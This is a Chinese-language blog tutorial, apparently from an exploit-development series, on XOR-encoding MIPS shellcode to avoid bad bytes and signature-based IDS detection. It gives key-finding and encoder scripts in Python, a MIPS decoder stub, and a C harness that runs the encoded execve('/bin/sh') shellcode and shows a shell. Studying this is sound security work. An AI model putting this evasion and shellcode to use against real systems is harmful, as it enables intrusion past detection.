十七、Shellcode编码

在很多的漏洞利用场景中,Shellcode的内容会受到限制,这种限制不仅来自存在漏洞的软件自身,在某些情况下,也来自一些基于特征的IDS(网络入侵检测系统)系统。我们先来看看Shellcode会受到哪些限制。

首先,所有的字符串处理函数都会对NULL字节进行限制,通常我们会选择对Shellcode指令进行优化以避免在Shellcode中直接出现NULL字节。

其次,在某些处理流程中可能会限制0x0D(\r)、0x0A(\n)或者0x20(空格)字符。

最后,有些函数会要求Shellcode必须为可见字符(ASCII值)或者Unicode值。有些时候,我们还会收到基于特征的IDS系统对Shellcode的拦截。

虽然在成功利用漏洞的路上有如此多的阻碍,但对漏洞的利用仍然不是绝对不可能的。目前,我们要想绕过坏字符限制,可以使用两种方法:

第一种就是前面介绍的对Shellcode中的指令进行优化。但由于对Shellcode中的指令进行优化不仅需要强大的汇编语言基础,在关心程序逻辑和流程时,还需要精心挑选合适的指令进行优化,所以,对于功能比较复杂的Shellcode进行指令优化,避开所有的限制字符的过程简直令人崩溃。但幸运的是,我们还有另外一种选择------Shellcode编码技术。

Shellcode的编码原理

在Shellcode的编码技术中有众多的编码算法,常用的有如下几种:

Base64编码:采用Base64对网页Shellcode进行编码。

alpha_upper编码:编码后的整个Shellcode呈现ASCII可见字符编码。

xor编码:通过异或算法实现编码,编解码过程比较容易实现,编码后的长度增长也比较容易接受。

在上面的3中编码方式中,后面的2种都用于二进制Shellcode编码,而且他们的原理也十分类似:
在这里插入图片描述

这种对Shellcode编码的方法和软件加壳的原理类似。我们可以先专心完成Shellcode的逻辑,而不用在意Shellcode的字节码中是不是含有坏字符,然后再使用编码技术对Shellcode进行编码,使编码后的Shellcode满足限制条件。然后精心构造几十个字节的解码程序,将这几十个字节的解码程序放在编码的Shellcode前面。当exploit成功执行时,Shellcode顶端的解码程序就会优先执行,这段解码程序会将编码的Shellcode解码成真正的原始Shellcode,并开始执行它。

编码后的Shellcode在exploit执行成功后的解码过程大概是这样的:
在这里插入图片描述

通过Shellcode编码,我们只需要关注解码指令,使其符合条件就可以了,相对于直接专注于整个Shellcode来说,问题要简单很多。下面我们就来实践其中的一种编码方法。

实现Shellcode编解码

我们将使用前面的分享中使用的execve调用/bin/sh命令的Shellcode,演示如何使用xor(异或)实现Shellcode的编码与解码的。

xor是按位异或,其运算规则是,相同位0,不同为1:

0 xor 0 = 0

1 xor 1 = 0

1 xor 0 = 1

0 xor 1 = 1

xor一般会被用在流加密算法中,因为对于某个值x,密钥key,有如下成立的等式:

x xor key = z

z xor key = x

其中z是密文,也就是说,密文z使用密钥key进行xor操作,就可以反推出明文。

比如明文是10101010,key是10001000,那么

  10101010

xor 10001000

= 00100010

得到的密文就是00100010。

使用这个密文与key进行异或操作:

   00100010

xor 10001000

= 10101010

可见xor(异或)操作是一种快速的可逆的加密解密算法。

我们需要做的是,找出一个key,使Shellcode中的每个字节与这个key做xor,得到的字节不能是坏字符,并且这个key本身也不能是坏字符。为此我们得到了这样一个Python脚本代码,代码输入参数为Shellcode字节序列,和传入的坏字符字节序列,最终这段Python代码会为你找到一个合适的key:

import random

bad_bytes = [0]*257
good_bytes = []

def generate_key(shellcode, user_bad_bytes):
        for dt in shellcode:
                for i in range(1, 256):
                        if str(i^ord(dt)) in user_bad_bytes or str(i) in user_bad_bytes:
                                bad_bytes[i] = i
        for i in range(1, 256):
                if bad_bytes[i] == 0:
                        good_bytes.append(i)
        return random.choice(good_bytes)


sc = "\x00\x09\x00\x09"

bads = "\x00"

aaa = generate_key(sc, bads)

print(aaa)

将这端代码中的sc替换为你开发的Shellcode字节序列,bads替换为要避免的坏字符序列。最终print语句会打印出generate_key函数为你找到的key。

有了这个key,我们还需要一个将Shellcode与key进行异或的Python脚本:

def xor_encoder(shellcode, key):
        data = ''
        for dt in shellcode:
                data += chr(ord(key)^ord(dt))
        return bytearray(data)

sc = "\xAA\xAA"
key = "\xED"

c = xor_encoder(sc, key)

接下来就是编码指令头了,代码如下:

.section .text
.global __start
.set noreorder
__start:
li $t8, -0x666
p:bltzal $t8, p
slti $t8, $zero, -1
addu $t0, $ra, 4097
addu $t0, $t0, 4097     # modify
lui $t1, 0x9d9d         # modify
ori $t1, $t1, 0x9d9d    # modify
lui $t3, 0x01e0
ori $t3, $t3, 7827
x:lw $t6, -1($t0)
xor $t4, $t6, $t1
sw $t4, -1($t0)
addu $t0, $t0, -4
bne $t6, $t3, x
nor $t7, $t7, $zero

第5行,是单纯的向t8寄存器赋值。

由于MIPS指令流水线的原因,在执行第6行指令的同时,第7行也会被执行,第7行指令是将t8设置为1。

而第6行汇编指令的最主要作用是将ra寄存器赋值为指向第8行的内存地址。

第8、9行使t0寄存器指向了“ra寄存器+4097 -xxxx”的地址,通过将第9行的4097替换为一个经过计算的值,可使得t0寄存器指向编码后的Shellcode。

替换后的第9行应该是“addu $t0, $t0, -4097 + 44 + len +1”,其中的len是编码后的Shellcode的字节序列长度。

第10、11行,其中所有的0x9d需要修改为generate_key()函数生成的key,经过lui和ori指令以后的key变成了4字节,即0x9d9d9d9d。

第12、13行,将t3寄存器指向了这段解码指令头的最后一条指令,即nor $t7, $t7, $zero,它的16进制指令代码为:0x01e07827。因为第9行最终将t0指向了编码后的Shellcode字节序列结尾处,后面需要每次将t0指向的4字节与第10、11行的4字节key异或后,将t0指向的内存地址减4,这样一轮轮循环后,当t0指向的内存的值为0x01e07827时,也就是和第12、13行设置的t3指向的内存相同时,就代表解码过程结束了。

第14、15、16行,是从t0指向的内存中取出4个字节的编码后的Shellcode,然后与key(0x9d9d9d9d)异或,将异或得到的结果存储到t0指向的内存中。

紧接着,将t0的地址减去4,然后判断t6是不是与t3相等,即是否解码完成。第19行是一条占位指令,没有其他实际用处。

了解了如何编码Shellcode和解码指令头以后,我们只需要将编码后的Shellcode附加在解码头数据之后,就形成了最终可以避免坏字符的Shellcode。

最后,我们以前面分享中使用的execve函数调用/bin/sh的Shellcode为例,使用本次分享中使用的generate_key函数生成key,再使用这个key结合xor_encoder函数生成编码后的Shellcode,并附加到上面编码指令头字节数据的后面,最终使用main函数对这段完整的Shellcode进行测试执行:


#include <stdio.h>

char sc2[] = {
 "\x24\x18\xf9\x9a"  // li $t8, -0x666
 "\x07\x10\xff\xff"  // p: bltzal $t8, p
 "\x28\x18\xff\xff"  // slti $t8, $zero, -1
 "\x27\xe8\x10\x01"  // addu $t0, $ra, 4097
 "\x25\x08\xf0\x5C"  // addu $t0, $t0, -4097 + 44 +len +1
 "\x3c\x09\x87\x87"  // lui $t1, 0xXXXX
 "\x35\x29\x87\x87"  // ori $t1, $t1, 0xXXXX
 "\x3c\x0b\x01\xe0"  // lui $t3, 0x01e0
 "\x35\x6b\x78\x27"  // ori $t3, $t3, 0x7827
 "\x8d\x0e\xff\xff"  // x: lw $t6, -1($t0)
 "\x01\xc9\x60\x26"  // xor $t4, $t6, $t1
 "\xad\x0c\xff\xff"  // sw $t4, $t6, $t1
 "\x25\x08\xff\xfc"  // addu $t0, $t0, -4
 "\x15\xcb\xff\xfb"  // bne $t6, $t3,-20
 "\x01\xe0\x78\x27"  // nor $t7, $t7, $zero
 "\xa3\x81\x86\x96"
 "\x83\x57\x78\x78"
 "\xa3\x81\x87\x87"
 "\xa0\x3a\x78\x67"
 "\xa0\x63\x87\x9b"
 "\x28\x23\x78\x6f"
 "\x28\x27\x78\x6b"
 "\xa0\x22\x78\x6f"
 "\xa3\x85\x88\x2c"
 "\x87\x87\x87\x8b"
 "\xa8\xe5\xee\xe9\xa8\xf4\xef\x87"
};

void main(void)
{
       void(*s)(void);
       s = sc2;
       s();
}

在mips-debian系统中编译这段代码,并运行:


root@bogon:~# gcc -static test_sc_encode.c 
root@bogon:~# ./a.out 
#

由此可见,我们的Shellcode编码头可以正常运行。

而第8行的0xf05c是由-4097+44+len+1计算得到。len是真正的Shellcode指令数据的字节数。

其中第9行和第10行的0x87是使用前面的generate_key函数生成的key。

完整的密钥key生成脚本(gen_key.py)代码如下:


import random

bad_bytes = [0]*257
good_bytes = []

def generate_key(shellcode, user_bad_bytes):
        for dt in shellcode:
                for i in range(1, 256):
                        if str(i^ord(dt)) in user_bad_bytes or str(i) in user_bad_bytes:
                                bad_bytes[i] = i
        for i in range(1, 256):
                if bad_bytes[i] == 0:
                        good_bytes.append(i)
        return random.choice(good_bytes)


sc  = "\x24\x06\x01\x11"
sc += "\x04\xd0\xff\xff"
sc += "\x24\x06\x00\x00"
sc += "\x27\xbd\xff\xe0"
sc += "\x27\xe4\x00\x1c"
sc += "\xaf\xa4\xff\xe8"
sc += "\xaf\xa0\xff\xec"
sc += "\x27\xa5\xff\xe8"
sc += "\x24\x02\x0f\xab"
sc += "\x00\x00\x00\x0c"
sc += "/bin/sh"

bads = "\x00"

aaa = generate_key(sc, bads)

print(aaa)

完整的Shellcode编码脚本(encoder.py)如下:

def xor_encoder(shellcode, key):
        data = ''
        for dt in shellcode:
                data += chr(ord(key)^ord(dt))
        return bytearray(data)

sc  = "\x24\x06\x01\x11"
sc += "\x04\xd0\xff\xff"
sc += "\x24\x06\x00\x00"
sc += "\x27\xbd\xff\xe0"
sc += "\x27\xe4\x00\x1c"
sc += "\xaf\xa4\xff\xe8"
sc += "\xaf\xa0\xff\xec"
sc += "\x27\xa5\xff\xe8"
sc += "\x24\x02\x0f\xab"
sc += "\x00\x00\x00\x0c"
sc += "/bin/sh"

key = "\x87"

c = xor_encoder(sc, key)
for i in c:
        print ('%#x'%i)

在下一次的分享中,我们还会继续Shellcode的内容,将常用的诸如reboot和反向Shell的Shellcode进行总结和分享。

最后,希望本次的分享能够为你带来帮助,谢谢大家。

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值